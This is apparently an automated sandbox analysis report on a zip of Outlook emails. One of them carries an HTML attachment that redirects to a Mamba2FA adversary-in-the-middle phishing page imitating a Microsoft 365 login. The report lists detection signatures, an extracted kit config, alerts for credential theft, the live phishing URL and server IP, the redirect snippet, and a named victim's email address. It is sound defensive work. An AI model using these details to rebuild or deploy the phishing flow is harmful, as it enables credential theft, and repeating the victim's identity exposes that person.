Edit tour

Windows Analysis Report
zip file.zip

Overview

General Information

Sample name:	zip file.zip
Analysis ID:	1542415
MD5:	d3399bfa41bf597bc09c1937d775e685
SHA1:	69606947338e9c0c5090e4b0b8b84a03b9d6e67f
SHA256:	5365a73cc664ffa93fa4f308c69b4f3f5961a9cb253186faef681f74ef104f7f
Infos:

Detection

HTMLPhisher, Mamba2FA

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

Yara detected Mamba 2FA PaaS

HTML page contains suspicious javascript code

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

JA3 SSL client fingerprint seen in connection with other malware

Queries the volume information (name, serial number etc) of a device

Sigma detected: Office Autorun Keys Modification

Sigma detected: Outlook Security Settings Updated - Registry

Stores files to the Windows start menu directory

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64_ra

rundll32.exe (PID: 6684 cmdline: C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding MD5: EF3179D498793BF4234F708D3BE28633)

OUTLOOK.EXE (PID: 6540 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F2%2F2024 Ref.msg" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6304 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "D1F2F87D-75D8-4576-8469-E7F34A59C0C5" "4F34E7FD-D8A6-4DEC-BD60-84C759A041B4" "6540" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 6468 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\ATT48970.htm MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5640 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,726869779700369838,1441709904178016688,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

OUTLOOK.EXE (PID: 7156 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /f "C:\Users\user\AppData\Local\Temp\Temp1_zip file.zip\Rob.Kuster@stonhard.com (Primary)\Recoverable Items\Purges\ACH Released 10%2F3%2F2024 Ref.msg" MD5: 91A5292942864110ED734005B7E005C0)

cleanup

Malware Configuration

Threatname: Mamba2FA

{"sv": "o365_1_nom", "rand": "NWd2QWc=", "uid": "USER15092024U10091510"}

Yara Signatures

HTML

Source	Rule	Description	Author
1.0.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.1.pages.csv	JoeSecurity_Mamba2FA	Yara detected Mamba 2FA PaaS	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.1.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6540, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Addins\OneNote.OutlookAddin\1

Sigma detected: Outlook Security Settings Updated - Registry

Source: Registry Key set

Author: frack113: Data: Details: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\8GCX2IJD\, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6540, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\16.0\Outlook\Security\OutlookSecureTempFolder

Suricata Signatures

ET PHISHING Generic Credential Phish Landing Page (jsnom.js)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T22:08:03.531240+0200	2056316	1	Successful Credential Theft Detected	192.168.2.16	49721	185.45.66.155	443	TCP
2024-10-25T22:08:05.517796+0200	2056316	1	Successful Credential Theft Detected	192.168.2.16	49723	185.45.66.155	443	TCP

ET PHISHING Javascript Browser Fingerprinting POST Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-25T22:08:02.004929+0200	2056643	2	Possible Social Engineering Attempted	192.168.2.16	49719	185.45.66.155	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

SlashNext: Label: Credential Stealing type: Phishing & Social Engineering

Found malware configuration

Source: 1.0.pages.csv

Malware Configuration Extractor: Mamba2FA {"sv": "o365_1_nom", "rand": "NWd2QWc=", "uid": "USER15092024U10091510"}

Phishing

AI detected phishing page

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

LLM: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'marty-n.com' does not match the legitimate domain for Microsoft., The URL 'marty-n.com' contains a hyphen and does not resemble any known Microsoft subdomains or services., The presence of a CAPTCHA input field ('I'm not a robot') is common in phishing sites to appear legitimate. DOM: 1.1.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

Yara detected Mamba 2FA PaaS

Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: 1.1.pages.csv, type: HTML

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/AppData/Local/Microsoft/Windows/INetCache/Content.Outlook/8GCX2IJD/ATT48970.htm

HTTP Parser: window.location.href = atob(

Phishing site detected (based on image similarity)

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

Matcher: Template: microsoft matched

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

HTTP Parser: Number of links: 0

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

HTTP Parser: Title: Authenticating ... does not match URL

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

HTTP Parser: Invalid link: Forgot password?

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: Invalid link: Terms of use
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: Invalid link: Privacy & cookies
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: Invalid link: Terms of use
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: Invalid link: Privacy & cookies

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=

HTTP Parser: <input type="password" .../> found

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No favicon
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No favicon

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No <meta name="author".. found
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No <meta name="author".. found

Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No <meta name="copyright".. found
Source: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=#cm9iLmt1c3RlckBzdG9uaGFyZC5jb20=	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.140:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49749 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.16:49721 -> 185.45.66.155:443
Source: Network traffic	Suricata IDS: 2056316 - Severity 1 - ET PHISHING Generic Credential Phish Landing Page (jsnom.js) : 192.168.2.16:49723 -> 185.45.66.155:443

Source: Joe Sandbox View	IP Address: 185.45.66.155 185.45.66.155
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45
Source: Joe Sandbox View	IP Address: 18.245.31.78 18.245.31.78
Source: Joe Sandbox View	IP Address: 192.229.133.221 192.229.133.221

Source: Joe Sandbox View

ASN Name: SUPERHOSTING_ASBG SUPERHOSTING_ASBG

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic

Suricata IDS: 2056643 - Severity 2 - ET PHISHING Javascript Browser Fingerprinting POST Request : 192.168.2.16:49719 -> 185.45.66.155:443

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+d3uuy6YdV8yVhl&MD=lvxVbZ8h HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA= HTTP/1.1Host: marty-n.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: marty-n.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://marty-n.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/jsnom.js HTTP/1.1Host: marty-n.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /4.7.5/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: marty-n.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5XZDJRV2M9JnVpZD1VU0VSMTUwOTIwMjRVMTAwOTE1MTA=Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /w3css/4/w3.css HTTP/1.1Host: www.w3schools.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://marty-n.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1Host: logincdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
